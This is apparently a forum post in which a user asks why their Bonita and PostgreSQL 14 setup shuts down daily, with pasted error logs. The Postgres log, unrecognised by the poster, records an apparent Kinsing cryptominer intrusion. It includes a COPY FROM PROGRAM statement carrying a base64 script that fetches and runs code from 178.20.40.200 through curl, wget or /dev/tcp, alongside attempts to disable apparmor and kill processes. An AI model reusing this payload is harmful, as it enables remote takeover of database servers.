Shutdown Bonita & Postgres every day.
Good Morning.
Every day the connection between BonitaSoft and Postgresql 14 stops working. We have to restart the whole environment to get the connection back.
Esotu using BonitaSoft Community 2021.1 with PostgreSQL 14.4 (Ubuntu 14.4-1.pgdg20.04+1).
I updated the POstgres driver to postgresql-42.4.0.jar
I kept the default settings requested by the documentation regarding max_prepared_transactions and max_connections. I kept both at 200.
My Bonita environment is installed in .zip format and I just uploaded a default organization acme.xml (for testing).
My OS is Ubuntu VERSION="20.04.4 LTS (Focal Fossa)".
I already uninstalled Postgres and installed it again and it didn't work.
The error message it generates on the Bonita side is:
ERROR (localhost-startStop-2) org.hibernate.engine.jdbc.spi.SqlExceptionHelper Unable to acquire a new connection from the pool
SEVERE (localhost-startStop-2) org.bonitasoft.engine.EngineInitializer Issue while stopping the platform
org.bonitasoft.engine.platform.StopNodeException: javax.persistence.PersistenceException: org.hibernate.exception.GenericJDBCException: Unable to acquire JDBC Connection
Caused by: javax.persistence.PersistenceException: org.hibernate.exception.GenericJDBCException: Unable to acquire JDBC Connection
Caused by: org.postgresql.util.PSQLException: Connection to localhost:5432 refused. Check that the hostname and port are correct and that the postmaster is accepting TCP/IP connections.
And on the Postgres side is:
2022-07-15 10:31:20.213 -03 [18030] LOG: received smart shutdown request
2022-07-15 10:31:20.225 -03 [18030] LOG: background worker "logical replication launcher" (PID 18037) exited with exit code 1
2022-07-15 10:31:20.225 -03 [18567] linda_dev_bdm_user@bonita_bdm_desenv FATAL: terminating connection due to administrator command
2022-07-15 10:31:20.228 -03 [18575] linda_dev_eng_user@bonita_engine_desenv FATAL: terminating connection due to administrator command
2022-07-15 10:31:20.231 -03 [18577] linda_dev_bdm_user@bonita_bdm_desenv FATAL: terminating connection due to administrator command
2022-07-15 10:31:20.233 -03 [18578] linda_dev_bdm_user@bonita_bdm_desenv FATAL: terminating connection due to administrator command
2022-07-15 10:31:20.235 -03 [18579] linda_dev_bdm_user@bonita_bdm_desenv FATAL: terminating connection due to administrator command
2022-07-15 10:31:20.238 -03 [18580] linda_dev_bdm_user@bonita_bdm_desenv FATAL: terminating connection due to administrator command
2022-07-15 10:31:20.240 -03 [18582] linda_dev_eng_user@bonita_engine_desenv FATAL: terminating connection due to administrator command
2022-07-15 10:31:20.242 -03 [18583] linda_dev_eng_user@bonita_engine_desenv FATAL: terminating connection due to administrator command
2022-07-15 10:31:20.244 -03 [18584] linda_dev_eng_user@bonita_engine_desenv FATAL: terminating connection due to administrator command
2022-07-15 10:31:20.247 -03 [18585] linda_dev_eng_user@bonita_engine_desenv FATAL: terminating connection due to administrator command
2022-07-15 10:31:20.250 -03 [18586] linda_dev_eng_user@bonita_engine_desenv FATAL: terminating connection due to administrator command
2022-07-15 10:31:20.252 -03 [18587] linda_dev_eng_user@bonita_engine_desenv FATAL: terminating connection due to administrator command
2022-07-15 10:31:20.255 -03 [18592] linda_dev_eng_user@bonita_engine_desenv FATAL: terminating connection due to administrator command
2022-07-15 10:31:20.258 -03 [18595] linda_dev_eng_user@bonita_engine_desenv FATAL: terminating connection due to administrator command
2022-07-15 10:31:20.261 -03 [18694] linda_dev_eng_user@bonita_engine_desenv FATAL: terminating connection due to administrator command
2022-07-15 10:31:20.264 -03 [19390] linda_dev_bdm_user@bonita_bdm_desenv FATAL: terminating connection due to administrator command
2022-07-15 10:31:20.266 -03 [19391] linda_dev_eng_user@bonita_engine_desenv FATAL: terminating connection due to administrator command
2022-07-15 10:31:20.268 -03 [32227] postgres@postgres FATAL: terminating connection due to administrator command
2022-07-15 10:31:20.272 -03 [33211] postgres@postgres FATAL: terminating connection due to administrator command
grep: Trailing backslash
kill: (5): Operation not permitted
kill: (34210): No such process
kill: (34215): No such process
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
2022-07-15 10:31:22.351 -03 [34203] postgres@postgres FATAL: the database system is shutting down
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
2022-07-15 10:31:22.501 -03 [34251] postgres@postgres FATAL: the database system is shutting down
pkill: killing pid 792 failed: Operation not permitted
pkill: killing pid 792 failed: Operation not permitted
2022-07-15 10:31:23.244 -03 [34431] postgres@postgres FATAL: the database system is shutting down
log_rot: no process found
chattr: No such file or directory while trying to stat /etc/ld.so.preload
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.3': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.3': No such file or directory
rm: cannot remove '/var/tmp/lib': No such file or directory
rm: cannot remove '/var/tmp/.lib': No such file or directory
chattr: No such file or directory while trying to stat /tmp/lok
chmod: cannot access '/tmp/lok': No such file or directory
bash: line 547: docker: command not found
bash: line 548: docker: command not found
bash: line 549: docker: command not found
bash: line 550: docker: command not found
bash: line 551: docker: command not found
bash: line 570: /etc/selinux/config: Permission denied
Failed to stop apparmor.service: Interactive authentication required.
See system logs and 'systemctl status apparmor.service' for details.
Synchronizing state of apparmor.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable apparmor
2022-07-15 10:31:24.250 -03 [34707] postgres@postgres FATAL: the database system is shutting down
Failed to reload daemon: Interactive authentication required.
update-rc.d: error: Permission denied
Failed to stop aliyun.service.service: Interactive authentication required.
See system logs and 'systemctl status aliyun.service.service' for details.
Failed to disable unit: Interactive authentication required.
/tmp/kinsing is 2c44b4e4706b8bd95d1866d7867efa0e
bash: line 712: /tmp/kinsing: cannot execute binary file: Exec format error
2022-07-15 10:31:25.237 -03 [34800] postgres@postgres FATAL: the database system is shutting down
2022-07-15 10:31:25.405 -03 [33271] postgres@postgres FATAL: terminating connection due to administrator command
2022-07-15 10:31:25.405 -03 [33271] postgres@postgres CONTEXT: COPY ghyocqzc, line 1: "/tmp/kinsing exists"
2022-07-15 10:31:25.405 -03 [33271] postgres@postgres STATEMENT: DROP TABLE IF EXISTS ghyoCQZC;CREATE TABLE ghyoCQZC(cmd_output text);COPY ghyoCQZC FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDE3OC4yMC40MC4yMDAvcGcuc2h8YmFzaAplbGlmIFsgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIHdnZXQgLXEgLU8tIDE3OC4yMC40MC4yMDAvcGcuc2h8YmFzaAplbHNlCiAgX19jdXJsIGh0dHA6Ly8xNzguMjAuNDAuMjAwL3BnMi5zaHxiYXNoCmZp|base64 -d|bash';SELECT * FROM ghyoCQZC;DROP TABLE IF EXISTS ghyoCQZC;
2022-07-15 10:31:25.418 -03 [18030] LOG: background worker "logical replication launcher" (PID 34831) exited with exit code 1
2022-07-15 10:31:25.419 -03 [18032] LOG: shutting down
2022-07-15 10:31:25.445 -03 [18030] LOG: database system is shut down
Thanks for help me